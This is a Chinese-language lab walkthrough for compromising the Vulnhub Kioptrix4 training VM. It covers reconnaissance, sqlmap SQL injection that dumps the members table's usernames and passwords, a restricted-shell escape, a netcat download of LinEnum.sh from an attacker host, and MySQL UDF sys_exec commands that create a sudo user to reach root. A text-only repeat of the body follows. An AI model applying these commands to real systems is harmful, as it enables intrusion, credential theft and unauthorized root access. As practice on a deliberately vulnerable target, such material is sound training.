Vulnhub-Kioptrix4
字数 841 2025-08-29 08:29:41

Kioptrix4 靶机渗透教学文档

靶机安装

  1. 从Vulnhub下载Kioptrix4靶机的.vmdk文件
  2. 新建虚拟机时选择"使用现有磁盘"选项
  3. 导入下载的.vmdk文件
  4. 完成虚拟机创建并启动

信息收集

网络探测

使用arp-scan探测靶机IP地址:

arp-scan -l

端口扫描

使用nmap进行端口扫描:

nmap -sV <靶机IP>

发现开放端口:

  • 22 (SSH)
  • 80 (HTTP)

Web目录扫描

使用dirb进行目录扫描:

dirb http://<靶机IP>

Web应用分析

  1. 访问80端口,发现登录界面
  2. 尝试常见弱口令无果
  3. 抓包分析请求(可使用Burp Suite)

SQL注入利用

  1. 将抓包数据保存为test.txt
  2. 在要测试的字段后添加*标记
  3. 使用sqlmap进行测试:

数据库枚举

获取数据库列表:

sqlmap -r test.txt --batch --level 5 --dbs

发现members数据库

表枚举

获取members数据库中的表:

sqlmap -r test.txt --batch --level 5 -D members --tables

发现members

列枚举

获取members表的列:

sqlmap -r test.txt --batch --level 5 -D members -T members --columns

发现usernamepassword

数据提取

提取用户名和密码:

sqlmap -r test.txt --batch --level 5 -D members -T members -C password,username --dump

SSH登录

  1. 使用获取的凭据尝试SSH登录
  2. 如果WSL终端有问题,可使用Termius等SSH客户端

基础提权

  1. 进入系统后,发现需要提权
  2. 使用echo命令执行bash:
echo os.system('/bin/bash')

提权准备

  1. 上传LinEnum.sh扫描脚本
  2. 使用netcat传输文件:
    • 攻击机:
      nc -lvp 1234 < LinEnum.sh
      
    • 靶机:
      nc <攻击机IP> 1234 > LinEnum.sh
      
  3. 添加执行权限:
chmod +x ./LinEnum.sh
  1. 运行扫描脚本:
./LinEnum.sh

MySQL UDF提权

  1. 扫描发现MySQL root用户无密码
  2. 登录MySQL:
mysql -u root
  1. 查看数据库:
show databases;
  1. 切换到mysql数据库:
use mysql;
  1. 查看func表:
select * from func;

发现sys_exec函数

创建特权用户

  1. 创建新用户:
SELECT sys_exec('useradd -m -s /bin/bash epoch');
  1. 设置密码:
SELECT sys_exec('echo "epoch:123456" | chpasswd');
  1. 赋予sudo权限:
SELECT sys_exec('usermod -aG sudo epoch');

获取root权限

  1. 使用新创建的用户登录:
su - epoch
  1. 验证sudo权限:
sudo -l
  1. 获取root shell:
sudo -i

总结

通过本渗透测试,我们完成了从信息收集到最终获取root权限的全过程,关键点包括:

  • 使用sqlmap进行SQL注入利用
  • 通过MySQL UDF函数进行提权
  • 创建特权用户获取root权限
Kioptrix4 靶机渗透教学文档 靶机安装 从Vulnhub下载Kioptrix4靶机的.vmdk文件 新建虚拟机时选择"使用现有磁盘"选项 导入下载的.vmdk文件 完成虚拟机创建并启动 信息收集 网络探测 使用 arp-scan 探测靶机IP地址: 端口扫描 使用 nmap 进行端口扫描: 发现开放端口: 22 (SSH) 80 (HTTP) Web目录扫描 使用 dirb 进行目录扫描: Web应用分析 访问80端口,发现登录界面 尝试常见弱口令无果 抓包分析请求(可使用Burp Suite) SQL注入利用 将抓包数据保存为 test.txt 在要测试的字段后添加 * 标记 使用sqlmap进行测试: 数据库枚举 获取数据库列表: 发现 members 数据库 表枚举 获取 members 数据库中的表: 发现 members 表 列枚举 获取 members 表的列: 发现 username 和 password 列 数据提取 提取用户名和密码: SSH登录 使用获取的凭据尝试SSH登录 如果WSL终端有问题,可使用Termius等SSH客户端 基础提权 进入系统后,发现需要提权 使用 echo 命令执行bash: 提权准备 上传 LinEnum.sh 扫描脚本 使用netcat传输文件: 攻击机: 靶机: 添加执行权限: 运行扫描脚本: MySQL UDF提权 扫描发现MySQL root用户无密码 登录MySQL: 查看数据库: 切换到mysql数据库: 查看func表: 发现 sys_exec 函数 创建特权用户 创建新用户: 设置密码: 赋予sudo权限: 获取root权限 使用新创建的用户登录: 验证sudo权限: 获取root shell: 总结 通过本渗透测试,我们完成了从信息收集到最终获取root权限的全过程,关键点包括: 使用sqlmap进行SQL注入利用 通过MySQL UDF函数进行提权 创建特权用户获取root权限